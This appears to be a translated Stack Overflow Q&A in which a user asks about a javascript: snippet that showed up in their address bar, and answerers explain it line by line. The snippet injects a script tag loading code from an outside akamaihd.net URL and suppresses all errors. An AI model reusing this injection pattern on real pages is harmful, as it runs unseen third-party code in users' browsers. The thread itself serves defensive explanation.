这个 JavaScript(包含 createElement("script"))有什么作用?

声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow 原文地址: http://stackoverflow.com/questions/25716001/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me): StackOverFlow

提示:将鼠标放在中文语句上可以显示对应的英文。显示中英文
时间:2020-08-22 21:44:30  来源:igfitidea点击:

What does this JavaScript (containing createElement("script")) do?

javascript

提问by user3728385

After going on a webpage after some moments on the address bar I see this (instead of the actual address) --

在地址栏上经过一段时间后访问网页后,我看到了这个(而不是实际地址)-

javascript:try
{
    if(document.body.innerHTML)
    {
        var a=document.getElementsByTagName("head");
        if(a.length){var d=document.createElement("script");
        d.src="https://apidivaptonbiz-a.akamaihd.net/gsrs?is=smdvbd&bp=BA&g=a856bc68-46e1-
        43619542-5d821147c8cf";
        a[0].appendChild(d);
    }
}
catch(e){}

What does this code actually do ? How is it automatically coming on the address bar ?

这段代码实际上做了什么?它是如何自动出现在地址栏上的?

回答by Marco Aurélio Deleu

Apparently, it loads a file through the address https://apidivaptonbiz-a.akamaihd.net/gsrs?is=smdvbd&bp=BA&g=a856bc68-46e1-43619542-5d821147c8cfand injects it on your current page.

显然,它通过地址加载一个文件https://apidivaptonbiz-a.akamaihd.net/gsrs?is=smdvbd&bp=BA&g=a856bc68-46e1-43619542-5d821147c8cf并将其注入您的当前页面。

回答by jdphenix

try // try the code in the braces { }, control will jump to the catch block on error
{
    if(document.body.innerHTML) // if this is running in a browser
    {
        var a=document.getElementsByTagName("head"); // get the <head> element
        if(a.length){ // if a seems to be a valid HTMLElement
            var d=document.createElement("script"); // create a <script> element
            // and link it to the URL below
            d.src="https://apidivaptonbiz-a.akamaihd.net/gsrs?is=smdvbd&bp=BA&g=a856bc68-46e1-
            43619542-5d821147c8cf"; 
        a[0].appendChild(d); // insert the new <script> element into the DOM
    }
}
catch(e){} // ignore all errors from the try { } block (generally bad form) 

Basically, this JavaScript fragment injects a script into the page.

基本上,这个 JavaScript 片段将一个脚本注入到页面中。

Regarding howit got there, that's a little trickier. One possibility is that some JavaScript on the page set window.location.hrefto this code fragment, but that seems odd to me.

关于它是如何到达那里的,这有点棘手。一种可能性是页面上的某些 JavaScript 设置window.location.href为此代码片段,但这对我来说似乎很奇怪。